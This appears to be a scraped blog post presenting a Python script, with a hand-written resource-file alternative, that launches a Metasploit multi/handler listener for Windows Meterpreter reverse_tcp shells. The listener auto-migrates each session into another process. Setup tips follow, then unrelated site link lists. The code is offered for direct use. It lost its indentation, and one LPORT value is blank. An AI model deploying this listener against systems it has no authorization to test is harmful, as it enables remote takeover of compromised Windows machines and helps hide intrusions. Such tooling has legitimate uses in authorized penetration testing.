#!/usr/bin/python
#
# StartListener.py
# Simple python script to start a Meterpreter Listener
# Auto Inject to other process
# github: https://raw.github.com/obscuresec/random/master/StartListener.py

import sys
import subprocess
#write a resource file and call it
def build(lhost,lport):
options = "use exploit/multi/handler\n"
options += "set payload windows/meterpreter/reverse_tcp\nset LHOST {0}\nset LPORT {1}\n".format(lhost,lport)
options += "set ExitOnSession false\nset AutoRunScript post/windows/manage/smart_migrate\nexploit -j\n"
filewrite = file("listener.rc", "w")
filewrite.write(options)
filewrite.close()
subprocess.Popen("/usr/share/metasploit-framework/msfconsole -r listener.rc", shell=True).wait() #grab args
try:
lhost = sys.argv[1]
lport = sys.argv[2]
build(lhost,lport) #index error
except IndexError:
print "python StartListener.py lhost lport"

A easy but useful script. It create a file of metaspolit and load it to start a listener quickly.

You can change the listener type you what.

Before using it, you may also have to change the path of msfconsole file.

If you installed the metaspolit-framework on you system, you can use "/usr/bin/msfconsole"

You  can also create a file, such as "listen.rc"

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.150
set LPORT
set ExitOnSession false
set AutoRunScript post/windows/manage/migrate
exploit -j

Then,use it to start a listen.

msfconsole -r listen.rc

Quickly Start Listener scripts的更多相关文章

  1. Windows API Hooking in Python

    catalogue . 相关基础知识 . Deviare API Hook Overview . 使用ctypes调用Windows API . pydbg . winappdbg . dll inj ...

  2. Oracle Apps DBA 常用命令

    数据库启动监听 addlnctl.sh start instance 启动数据库 addbctl.sh start 启动应用服务器 adstrtal.sh 停止应用服务器 adstpall.sh -- ...

  3. php monolog 的写日志到unix domain socket 测试终于成功

    在另外一个客户端执行 php s.php后, 通过nc -lU /tmp/tg.sck 建立的unix domain socket 有接收到消息. <?php require 'vendor/a ...

  4. 使用可移动表空间(TTS)的最佳做法 (Doc ID 1457876.1)

    Best Practices for Using Transportable Tablespaces (TTS) (Doc ID 1457876.1) APPLIES TO: Oracle Datab ...

  5. 修改Oracle XE Listener 占用的1521、8080端口

    修改Oracle XE Listener 占用的1521.8080端口今天在帮开发人员Demon安装oracleXE时,有这么一段提示: [sql]   Destination Folder: D:\ ...

  6. Oracle Listener

    一.监听器功能 1)监听客户端请求:监听器作为独立进程运行在数据库服务器上,监听特定网络端口(默认1521)服务请求. 2)为客户端请求分配oracle Server Process:监听器不直接处理 ...

  7. [NPM] List available npm scripts and support tab completion

    In this lesson we will look at different ways you can list the available npm scripts. Whether we wan ...

  8. JavaWeb——Listener

    一.基本概念 JavaWeb里面的listener是通过观察者设计模式进行实现的.对于观察者模式,这里不做过多介绍,大概讲一下什么意思. 观察者模式又叫发布订阅模式或者监听器模式.在该模式中有两个角色 ...

  9. 严重: Exception sending context initialized event to listener instance of class

    问题描述:Exception sending context initialized event to listener instance of class org.springframework.w ...

随机推荐

  1. CSS之纯CSS画的基本图形(矩形、圆形、三角形、多边形、爱心、八卦等)

    图形包括基本的矩形.圆形.椭圆.三角形.多边形,也包括稍微复杂一点的爱心.钻石.阴阳八卦等.当然有一些需要用到CSS3的属性,所以在你打开这篇文章的时候,我希望你用的是firefox或者chrome, ...

  2. CentOS7--iptables的配置

    在红帽RHEL7系统中firewalld服务取代了iptables服务,但依然可以使用iptables命令来管理内核的netfilter. iptables命令中则常见的控制类型有: ACCEPT:允 ...

  3. Smallest multiple

    problem 5:Smallest multiple 题意:求最小的正数,使得其可以被1-20整除 代码如下: #ifndef PRO5_H_INCLUDED #define PRO5_H_INCL ...

  4. DPDK support for vhost-user

    转载:http://blog.csdn.net/quqi99/article/details/47321023 X86体系早期没有在硬件设计上对虚拟化提供支持,因此虚拟化完全通过软件实现.一个典型的做 ...

  5. Gpt转mbr

    1)Shift + F10 2)diskpart 3)list disk 4)select dist 0 5)clean 6)convert mbr [注]mbr常用于windows操作系统,而gpt ...

  6. volatile(C# 参考)

    本文档已存档,并且将不进行维护. volatile(C# 参考) 若要了解有关 Visual Studio 2017 RC 的最新文档,请参阅 Visual Studio 2017 RC 文档. vo ...

  7. ubuntu 16.04安装mips交叉编译

    1. 在 /etc/apt/sources.list 文件末尾添加下面的更新源: deb http://ftp.de.debian.org/debian squeeze main deb http:/ ...

  8. [MFC美化] SkinMagic使用详解3- 常见使用问题解答

    在SkinMagic使用过程中,经常遇到以下几个问题: 1. 静态加载皮肤文件时,资源文件IDR_SKIN_CORONA可能会报错:未声明的标识符 解决方法:添加头文件"Resource.h ...

  9. class.forname()方法的学习(转)

    Class.forName(xxx.xx.xx) 返回的是一个类 首先你要明白在java里面任何class都要装载在虚拟机上才能运行.这句话就是装载类用的(和new 不一样,要分清楚). 至于什么时候 ...

  10. cos距离与欧式距离

    1. 欧氏距离(EuclideanDistance) 欧氏距离是最易于理解的一种距离计算方法,源自欧氏空间中两点间的距离公式. (1)二维平面上两点a(x1,y1)与b(x2,y2)间的欧氏距离: ( ...